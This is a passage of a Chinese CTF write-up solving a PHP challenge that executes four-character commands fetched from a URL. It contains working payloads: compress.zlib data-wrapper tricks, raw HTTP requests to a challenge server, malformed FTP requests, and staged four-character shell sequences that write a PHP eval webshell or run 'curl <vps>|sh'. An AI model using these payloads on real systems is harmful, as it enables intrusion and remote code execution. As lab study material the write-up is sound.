    print("< 1 > ", (ftp_server[ 'ip' ], ftp_server[ 'port' ]))

    t_connect_main = threading.Thread(target = func_connect_main)

    accept_ftp_1 = threading.Thread(target = func_ftp_1_accept,kwargs = {"socket_":s2})
    send_ftp_1 = threading.Thread(target = func_ftp_1_send, kwargs = { "socket_": s2 })

    t_connect_main.setDaemon(daemonic = True)
    accept_ftp_1.setDaemon(daemonic = True)
    send_ftp_1.setDaemon(daemonic = True)

    t_connect_main.start()
    accept_ftp_1.start()
    send_ftp_1.start()

    while not Finish:
        try:
            sleep(1)
        except KeyboardInterrupt:
            s1.close( )
            s2.close( )
            exit(0)


    for wait in range(3, 0, -1):
        sys.stdout.write("\r````` [ " + str(wait) + " ]`````")
        sys.stdout.flush( )
        sleep(1)

    s1.close( )
    s2.close( )
    exit(0)


if __name__ == '__main__':
    main()
  • 行吧,这里就直接演示:

    image-20201229203900092.png

  • 这里发现是可以成功使用畸形的ftp请求获取到文件内容的了;

  • 那么题目的那三层bypass,在花点邪恶招式的情况下依然是可以逃逸到外网的,魔改ftp转发脚本 + 畸形ftp的请求 = 逃逸外网;


  • 预期解:

    • 好吧,这里开始丢人了,先上payload:

      compress.zlib://data:@127.0.0.1/2333;base64,[4长度shellcode的base64编码]
    • 或者,

      compress.zlib://data:@127.0.0.1/2333,[4长度shellcode]
    • 顺便说一下一个小trick,compress.zlib://data:@127.0.0.1/[域名],这个在php5.2是可以访问网页的;

    • 给个结果:

      php > system(file_get_contents("compress.zlib://data:@127.0.0.1/2333;base64,bHM="));
      123f.txt
      file.php
      get.php
      gp.php
      ha.php
      light.php
      pharmb.php
      test.gz
      test.jpg
      test.luck
      test.phar
      test.php
      try.php
      try.txt
      tryy.php
      ttt.php
      t.zip
      php > system(file_get_contents("compress.zlib://data:@127.0.0.1/2333,ls"));
      123f.txt
      file.php
      get.php
      gp.php
      ha.php
      light.php
      pharmb.php
      test.gz
      test.jpg
      test.luck
      test.phar
      test.php
      try.php
      try.txt
      tryy.php
      ttt.php
      t.zip
      

  • 最终payload:

    • 这里还是先上一下第二关的源码:

      <?php
      require_once('./init.php');
      error_reporting(0);
      if (check_session($_SESSION)) {
          # 下面这一段是变成管理员后才能看到的
          #hint : core/clear.php
          $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
          echo $sandbox;
          @mkdir($sandbox);
          @chdir($sandbox);
          if (isset($_POST['url'])) {
              $url = $_POST['url'];
              if (filter_var($url, FILTER_VALIDATE_URL)) {
                  if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                      echo "you are hacker";
                  } else {
                      $res = parse_url($url);
                      if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                          $code = file_get_contents($url);
                          if (strlen($code) <= 4) {
                              @exec($code);
                          } else {
                              echo "try again";
                          }
                      }
                  }
              } else {
                  echo "invalid url";
              }
          } else {
              highlight_file(__FILE__);
          }
      } else {
          die('只有管理员才能看到我哟');
      }
    • 然后是关于三层bypass的payload的内容:

    • 简单模式:

      POST /core/ HTTP/1.1
      Host: 121.36.222.22:88
      Content-Type: application/x-www-form-urlencoded 
      Cookie: PHPSESSID=995a2bd0e5a6ccf0dcfdbf6e59ea24c5
      Content-Length: 45
      
      url=compress.zlib://data:@127.0.0.1/2333,[??]
    • 困难模式:

      POST /core/ HTTP/1.1
      Host: 121.36.222.22:88
      Content-Type: application/x-www-form-urlencoded 
      Cookie: PHPSESSID=995a2bd0e5a6ccf0dcfdbf6e59ea24c5
      Content-Length: 50
      
      url=ftp://XX.XX.XX.XX:6700,127.0.0.1:80/[filename]
    • 其中长度4的shellcode输入以及顺序(ftp请求文件顺序)顺序如下:

      # - echo${IFS}PD9waHAgZXZhbCgkX1JFUVVFU1RbZG1dKTsgPz4=|base64 -d>a.php
      >dir
      >e\>
      >ht-
      >sl
      *>v
      >rev
      *v>a
      >p
      >ph\
      >a.\
      >\>\
      >-d\
      >\ \
      >64\
      >se\
      >ba\
      >\|\
      >4=\
      >Pz\
      >sg\
      >KT\
      >1d\
      >ZG\
      >Rb\
      >U1\
      >VF\
      >UV\
      >JF\
      >X1\
      >gk\
      >bC\
      >Zh\
      >ZX\
      >Ag\
      >aH\
      >9w\
      >PD\
      >S}\
      >IF\
      >{\
      >\$\
      >ho\
      >ec\
      sh a
      sh e
    • 简单一点的,其中 0x11223344 为 vps IP 的16进制值:

      # - curl 0x11223344|sh
      >dir
      >e\>
      >ht-
      >sl
      *>v
      >rev
      *v>a
      >sh
      >\|\
      >44\
      >33\
      >22\
      >11\
      >0x\
      >\ \
      >rl\
      >cu\
      sh a
      sh e
    • 最后上一下用困难模式成功解题的苦衷:

    image-20200311014118890.png

    image-20200311014705769.png


​ 老早的总结了,来凑个文章呗,畸形ftp应该是也有不少师傅知道的。